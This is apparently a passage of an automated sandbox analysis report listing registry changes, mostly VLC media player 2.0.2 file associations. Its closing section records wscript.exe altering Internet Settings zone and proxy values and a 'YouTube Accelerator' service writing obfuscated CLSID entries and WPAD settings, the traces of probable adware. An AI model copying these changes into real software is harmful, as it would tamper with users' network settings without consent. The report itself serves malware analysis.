"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.pls\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wma\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.avi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nsv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv]
"(Default)" = "VLC media file (.flv)"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.mp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.s3m\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.aifc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.b4s\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayName" = "VLC media player 2.0.2"

[HKCR\VLC.mp4]
"(Default)" = "VLC media file (.mp4)"

[HKCR\VLC.dts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aif\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2t" = ""
".m2v" = ""

[HKCR\VLC.pls\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga]
"(Default)" = "VLC media file (.oga)"

[HKCR\VLC.mp2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv]
"(Default)" = "VLC media file (.dv)"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\AudioCD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayCDAudioOnArrival]
"VLCPlayCDAudioOnArrival" = ""

[HKCR\VLC.cue\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Directory\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMinor" = "0"

[HKCR\VLC.wmv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rmvb\shell]
"(Default)" = "Open"

[HKCR\VLC.vob]
"(Default)" = "VLC media file (.vob)"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp2v" = ""

[HKCR\VLC.webm]
"(Default)" = "VLC media file (.webm)"

[HKCR\.ogx]
"(Default)" = "VLC.ogx"

[HKCR\VLC.au\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m2v\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg1" = ""
".IT" = ""
".mpeg2" = ""
".mpeg4" = ""

[HKCR\VLC.wav\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mtv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell]
"(Default)" = "Open"

[HKCR\VLC.w64\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mlp" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeProgID" = "VLC.VCDMovie"

[HKCR\VLC.m4p\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ape\shell]
"(Default)" = "Open"

[HKCR\VLC.it\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3gpp\shell\Open]
"(Default)" = "Play"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.spx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".a52" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"IconsVisible" = "1"

[HKCR\VLC.3gp2]
"(Default)" = "VLC media file (.3gp2)"

[HKCR\VLC.ogg]
"(Default)" = "VLC media file (.ogg)"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.tod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.au\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.w64\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WV" = ""

[HKCR\.gxf]
"(Default)" = "VLC.gxf"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nuv" = "VLC.nuv"

[HKCR\VLC.mp2v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mka]
"(Default)" = "VLC.mka"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\Version]
"(Default)" = "1.0"

[HKCR\VideoLAN.VLCPlugin.2\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.aob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U" = ""

[HKCR\VLC.mp4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ifo" = ""

[HKCR\VLC.mxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogm]
"(Default)" = "VLC media file (.ogm)"

[HKCR\VideoLAN.VLCPlugin\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gpp]
"(Default)" = "VLC.3gpp"

[HKCR\VLC.cda]
"(Default)" = "VLC media file (.cda)"

[HKCR\VLC.mkv\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpe" = "VLC.mpe"
".mpg" = "VLC.mpg"
".mpa" = "VLC.mpa"
".MPC" = "VLC.mpc"
".sdp" = "VLC.sdp"

[HKCR\VLC.m2t\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\VLC.mka\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4" = "VLC.mp4"

[HKCR\VLC.aif\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MP1" = "VLC.mp1"
".MP3" = "VLC.mp3"
".MP2" = "VLC.mp2"

[HKCR\VLC.mpeg1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mka\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".S3M" = ""

[HKCR\VLC.b4s\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open]
"(Default)" = "Play"

[HKCR\.f4v]
"(Default)" = "VLC.f4v"

[HKCR\VLC.ifo\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".asx" = ""
".asf" = ""

[HKCR\VLC.mp4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.nsv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u8\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKCR\VLC.ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin\CurVer]
"(Default)" = "VideoLAN.VLCPlugin.2"

[HKCR\VLC.aob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder]
"(Default)" = "VLC Play content"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aob" = "VLC.aob"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mlp" = "VLC.mlp"

[HKCR\VLC.rmvb\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amr" = ""

[HKCR\VLC.m4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe %1"

[HKCR\VLC.aifc\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CUE" = ""

[HKCR\VLC.wma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\shell]
"(Default)" = "Open"

[HKCR\VLC.mpc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.caf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3ga" = ""

[HKCR\DVD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp" = ""

[HKCR\VLC.xm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell]
"(Default)" = "Open"

[HKCR\VLC.DVDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"UninstallString" = "%Program Files% (x86)\VideoLAN\VLC\uninstall.exe"

[HKCR\VLC.mpeg2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.caf\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ram" = ""

[HKCR\VLC.snd\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\.mp1]
"(Default)" = "VLC.mp1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U8" = "VLC.m3u8"

[HKCR\VLC.wmv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4a\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.voc]
"(Default)" = "VLC.voc"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKCR\VLC.nuv\shell\Open]
"(Default)" = "Play"

[HKCR\.m3u]
"(Default)" = "VLC.m3u"

[HKCR\VLC.mp3]
"(Default)" = "VLC media file (.mp3)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKCR\VLC.vlc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mov\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"InvokeProgID" = "VLC.SVCDMovie"

[HKCR\.pls]
"VLC.backup" = "PerlScriptFile"

[HKCR\VLC.mov\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe]
"(Default)" = "VLC media file (.mpe)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mka\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rm]
"(Default)" = "VLC media file (.rm)"

[HKCR\VLC.snd\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rec\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4v" = "VLC.mp4v"

[HKCR\.caf]
"(Default)" = "VLC.caf"

[HKCR\VLC.a52\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cda\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.oma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xspf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpv2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.wav\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma]
"(Default)" = "VLC media file (.oma)"

[HKCR\VLC.VCDMovie]
"(Default)" = "VLC VCD Movie"

[HKCR\VLC.dts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg" = ""

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.mod\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell]
"(Default)" = "Open"

The process wscript.exe:3156 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process YouTubeAcceleratorService.exe:3204 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKdS"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1431730968"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 60 A4 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLVersion" = "0"
"XMLUpdateFailed" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "R73ubJdk"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "JPKbWtlh|ab@_w}Yu`gBISI`@Ndl"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "46 35 D9 3F 63 8F D0 01"

